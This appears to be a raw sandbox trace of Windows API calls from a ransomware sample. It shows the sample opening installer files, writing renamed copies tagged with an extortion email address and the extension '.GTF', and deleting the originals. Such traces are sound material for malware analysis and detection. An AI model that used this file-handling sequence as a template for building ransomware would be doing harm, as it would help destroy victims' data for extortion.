	[0066.942] lstrlenW (lpString=".1cd") returned 4
	[0066.942] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35
	[0066.942] lstrlenW (lpString=".jpg") returned 4
	[0066.942] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.942] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.942] lstrlenW (lpString="eula.rtf") returned 8
	[0066.942] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.942] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4040) returned 1
	[0066.942] CloseHandle (hObject=0x304) returned 1
	[0066.942] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0066.942] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.942] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.943] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.943] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.962] GetLastError () returned 0x0
	[0066.962] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xfc8, lpOverlapped=0x0) returned 1
	[0066.977] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0066.979] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.979] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.979] SetEndOfFile (hFile=0x31c) returned 1
	[0066.979] CloseHandle (hObject=0x31c) returned 1
	[0066.980] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.980] SetEndOfFile (hFile=0x304) returned 1
	[0066.981] CloseHandle (hObject=0x304) returned 1
	[0066.981] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.981] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString=".doc") returned 4
	[0066.982] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString=".docx") returned 5
	[0066.982] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.982] lstrlenW (lpString=".pdf") returned 4
	[0066.982] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString=".xls") returned 4
	[0066.982] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.982] lstrlenW (lpString=".xlsx") returned 5
	[0066.982] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.982] lstrlenW (lpString=".ppt") returned 4
	[0066.982] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString=".zip") returned 4
	[0066.982] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.982] lstrlenW (lpString=".rar") returned 4
	[0066.982] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString=".bz2") returned 4
	[0066.982] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString=".7z") returned 3
	[0066.982] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString=".dbf") returned 4
	[0066.982] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString=".1cd") returned 4
	[0066.982] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.982] lstrlenW (lpString=".jpg") returned 4
	[0066.982] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString=".doc") returned 4
	[0066.983] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString=".docx") returned 5
	[0066.983] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.983] lstrlenW (lpString=".pdf") returned 4
	[0066.983] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString=".xls") returned 4
	[0066.983] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.983] lstrlenW (lpString=".xlsx") returned 5
	[0066.983] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.983] lstrlenW (lpString=".ppt") returned 4
	[0066.983] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString=".zip") returned 4
	[0066.983] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.983] lstrlenW (lpString=".rar") returned 4
	[0066.983] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString=".bz2") returned 4
	[0066.983] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString=".7z") returned 3
	[0066.983] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString=".dbf") returned 4
	[0066.983] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString=".1cd") returned 4
	[0066.983] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0066.983] lstrlenW (lpString=".jpg") returned 4
	[0066.983] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.983] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.984] lstrlenW (lpString="eula.rtf") returned 8
	[0066.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.984] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3683) returned 1
	[0066.984] CloseHandle (hObject=0x304) returned 1
	[0066.984] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80
	[0066.984] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.984] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.984] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.984] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.008] GetLastError () returned 0x0
	[0067.008] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xe63, lpOverlapped=0x0) returned 1
	[0067.031] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe70, lpOverlapped=0x0) returned 1
	[0067.032] ReadFile (in: hFile=0x304, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.032] WriteFile (in: hFile=0x2f8, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0067.033] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.033] CloseHandle (hObject=0x2f8) returned 1
	[0067.039] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.039] SetEndOfFile (hFile=0x304) returned 1
	[0067.040] CloseHandle (hObject=0x304) returned 1
	[0067.040] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.040] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1
	[0067.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.041] lstrlenW (lpString=".doc") returned 4
	[0067.041] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString=".docx") returned 5
	[0067.041] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.041] lstrlenW (lpString=".pdf") returned 4
	[0067.041] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString=".xls") returned 4
	[0067.041] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.041] lstrlenW (lpString=".xlsx") returned 5
	[0067.041] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.041] lstrlenW (lpString=".ppt") returned 4
	[0067.041] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.041] lstrlenW (lpString=".zip") returned 4
	[0067.041] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.041] lstrlenW (lpString=".rar") returned 4
	[0067.041] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString=".bz2") returned 4
	[0067.041] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString=".7z") returned 3
	[0067.041] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.041] lstrlenW (lpString=".dbf") returned 4
	[0067.041] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.041] lstrlenW (lpString=".1cd") returned 4
	[0067.041] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.041] lstrlenW (lpString=".jpg") returned 4
	[0067.041] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString=".doc") returned 4
	[0067.042] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString=".docx") returned 5
	[0067.042] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0067.042] lstrlenW (lpString=".pdf") returned 4
	[0067.042] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString=".xls") returned 4
	[0067.042] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0067.042] lstrlenW (lpString=".xlsx") returned 5
	[0067.042] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0067.042] lstrlenW (lpString=".ppt") returned 4
	[0067.042] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString=".zip") returned 4
	[0067.042] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0067.042] lstrlenW (lpString=".rar") returned 4
	[0067.042] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString=".bz2") returned 4
	[0067.042] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString=".7z") returned 3
	[0067.042] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0067.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString=".dbf") returned 4
	[0067.042] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString=".1cd") returned 4
	[0067.042] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0067.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0067.042] lstrlenW (lpString=".jpg") returned 4
	[0067.042] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0067.042] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0067.043] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0067.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0067.043] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=81482) returned 1
	[0067.043] CloseHandle (hObject=0x304) returned 1
	[0067.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0067.043] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.044] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.044] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0067.056] GetLastError () returned 0x0
	[0067.056] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x13e4a, lpOverlapped=0x0) returned 1
	[0067.137] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e50, lpOverlapped=0x0) returned 1
	[0067.139] ReadFile (in: hFile=0x2f8, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.139] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0067.140] SetEndOfFile (hFile=0x31c) returned 1
	[0067.140] CloseHandle (hObject=0x31c) returned 1
	[0067.142] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.142] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.147] CloseHandle (hObject=0x2f8) returned 1
	[0067.148] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0067.148] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1
	[0067.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.148] lstrlenW (lpString=".doc") returned 4
	[0067.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.148] lstrlenW (lpString=".docx") returned 5
	[0067.148] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.148] lstrlenW (lpString=".pdf") returned 4
	[0067.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.148] lstrlenW (lpString=".xls") returned 4
	[0067.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.148] lstrlenW (lpString=".xlsx") returned 5
	[0067.148] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.148] lstrlenW (lpString=".ppt") returned 4
	[0067.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.148] lstrlenW (lpString=".zip") returned 4
	[0067.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.149] lstrlenW (lpString=".rar") returned 4
	[0067.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".bz2") returned 4
	[0067.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".7z") returned 3
	[0067.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString=".dbf") returned 4
	[0067.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString=".1cd") returned 4
	[0067.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString=".jpg") returned 4
	[0067.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString=".doc") returned 4
	[0067.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".docx") returned 5
	[0067.149] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0067.149] lstrlenW (lpString=".pdf") returned 4
	[0067.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".xls") returned 4
	[0067.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".xlsx") returned 5
	[0067.149] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0067.149] lstrlenW (lpString=".ppt") returned 4
	[0067.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.149] lstrlenW (lpString=".zip") returned 4
	[0067.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.149] lstrlenW (lpString=".rar") returned 4
	[0067.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".bz2") returned 4
	[0067.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.149] lstrlenW (lpString=".7z") returned 3
	[0067.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.150] lstrlenW (lpString=".dbf") returned 4
	[0067.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.150] lstrlenW (lpString=".1cd") returned 4
	[0067.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.150] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0067.150] lstrlenW (lpString=".jpg") returned 4
	[0067.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.150] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0067.150] lstrlenW (lpString="eula.rtf") returned 8
	[0067.150] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.150] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3865) returned 1
	[0067.150] CloseHandle (hObject=0x2f8) returned 1
	[0067.150] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80
	[0067.150] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0067.150] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.151] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.151] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
